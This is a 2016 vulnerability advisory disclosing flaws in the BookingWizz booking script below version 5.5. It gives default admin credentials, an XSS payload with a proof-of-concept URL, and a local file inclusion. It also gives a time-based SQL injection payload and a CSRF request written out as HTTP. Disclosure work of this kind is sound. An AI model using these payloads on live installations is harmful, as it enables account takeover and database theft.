1. ADVISORY INFORMATION
========================================
Title: BookingWizz <5.5 Multiple Vulnerability
Application: BookingWizz
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected:<5.5
Vendor URL: http://codecanyon.net/item/booking-system/87919
Bugs:Default credentials, CSRF, XXS, SQLi Injection, LFI
Date of Public Advisory:15 Jun 2016
Author: Mehmet Ince
2. CREDIT
========================================
Those vulnerabilities was identified during external penetration test
by Mehmet INCE from PRODAFT / INVICTUS
Original Advisory:
https://www.mehmetince.net/exploit/bookingwizz-55-multiple-vulnerability
PR1 - Default Administrator Credentials
========================================
File: install.php
People are to lazy to change default credential unless application force
them to do that.
Line 128:<br />Default username/password:<b>admin/pass</b></div>";
PR2 - Cross Site Scripting
========================================
File : eventList.php
// Improper user input validation on
Line 24: $serviceID =(!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("'","`",$_REQUEST["serviceID"])):getDefaultService();
Line 60:<?php echo SAMPLE_TEXT?><strong><?php echo VIEW?><a
href="https://www.exploit-db.com/exploits/39955/index.php?serviceID=<?php echo $serviceID?>"><?php echo
CALENDAR?></a></strong>
Payload =1337" onmouseover="alert(1)
PoC =
http://www.convergine.com/scripts/booking/eventList.php?serviceID=1337%22%20onmouseover=%22alert(1)
PR3 - Local File Inclusion
========================================
File:config.php
Lang variable is under the user control.
Line 31: $lang =(!empty($_REQUEST["lang"])) ? strip_tags(str_replace("'","`", $_REQUEST["lang"])):'english';
Storing user controlled variable within session variable.
Line 36-38:if(!empty($_REQUEST["action"])&& $_REQUEST["action"]=="changelang"){
$_SESSION['curr_lang']= $lang;}
And using it with include function which cause straightforward file
inclusion.
Line 60-68:
$languagePath = MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php";if(is_file($languagePath)){
include MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php";}else{print"ERROR !!! Language file ".$_SESSION['curr_lang'].".lang.php not
found";
exit();}
PR4 - SQL Injection
========================================
We've seen a lot of potentially SQL Injection vulnerability during code
review.2 example can be given for this potential points.
File : ajax/checkDeletedServices.php
line 19-20:
$bsid =(!empty($_REQUEST["bsid"])) ? $_REQUEST["bsid"]: array();
$type=(!empty($_REQUEST["type"])) ? $_REQUEST["type"]:'service';
Line 26:if($type=='service'){
$service = getService($id);
$name = $service['name'];}
This function executes query with $id parameter which is user input through
checkDeletedServices.php file.
function getService($id, $field=null){
$sql ="SELECT * FROM bs_services WHERE id='{$id}'";
$res = mysql_query($sql);if($field == null){return mysql_fetch_assoc($res);}else{
$row = mysql_fetch_assoc($res);return $row[$field];}}
File : ajax/checkChangeAvailability.php
Line 19-21
$id=(!empty($_REQUEST["id"])) ? $_REQUEST["id"]:'';
$interval = getServiceSettings($id,'interval');
getServiceSettings function calls another function named as getService
which is also vulnerable against SQL Injection.
function getServiceSettings($id, $field=null){
$serviceType = getService($id,'type');if($serviceType=='t'){
$sql = "SELECT * FROM bs_service_settings bss
INNER JOIN bs_services bs ON bss.serviceId= bs.id
WHERE bss.serviceID='{$id}'";}else{
$sql = "SELECT * FROMbs_service_days_settings bsds
INNER JOIN bs_services bs ON bsds.idService= bs.id
WHERE bsds.idService='{$id}'";}
$res = mysql_query($sql);
$row = mysql_fetch_assoc($res);
$row['type']= $serviceType;if($field == null){return $row;}else{return $row[$field];}}
In order to exploit this flaws, Time Based SQLi techniques was used.
Payload:id=1' AND SLEEP(5) AND 'WAlE'='WAlE
PR5 - CSRF
========================================
File: bs-settings.php
This fileis reponsible for administrator account settings.Here is the
HTTP POST request.
POST /booking/bs-settings.php HTTP/1.1
Host: www.test.dev
User-Agent: Mozilla/5.0(Windows NT 6.3; rv:36.0) Gecko/20100101
Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.test.dev/scripts/booking/bs-settings.php
Cookie: PHPSESSID=1511036c75229f53ae475a0615661394;
__utma=256227097.1395600583.1465982938.1465982938.1465982938.1;
__utmc=256227097;
__utmz=256227097.1465982938.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
wordfence_verifiedHuman=498f28acf0e6151e19053a23c0fbc76b
Connection: close
Content-Type: multipart/form-data;
boundary=---------------------------305761854111129072091034307
Content-Length:2678-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="new_pass"-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="new_pass2"-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="email"
test@yopmail.com
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="pemail"
test@yopmail.com
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="pcurrency"
CAD
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="tax"-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="time_mode"0-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="date_mode"
Y-m-d
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="use_popup"1-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="currency"
$
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="currencyPos"
b
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="lang"
english
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="language_switch"1-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="timezone"
America/Toronto
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="multi_day_notification"0-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="multi_day_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="single_day_notification"0-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="single_day_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="event_notification"0-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="event_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="cron_type"
cron
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="edit_settings"
yes
-----------------------------305761854111129072091034307--
There is NOT csrf token at all. Furthermore, application does not validated
current password.--
Sr. Information Security Engineer
https://www.mehmetince.net
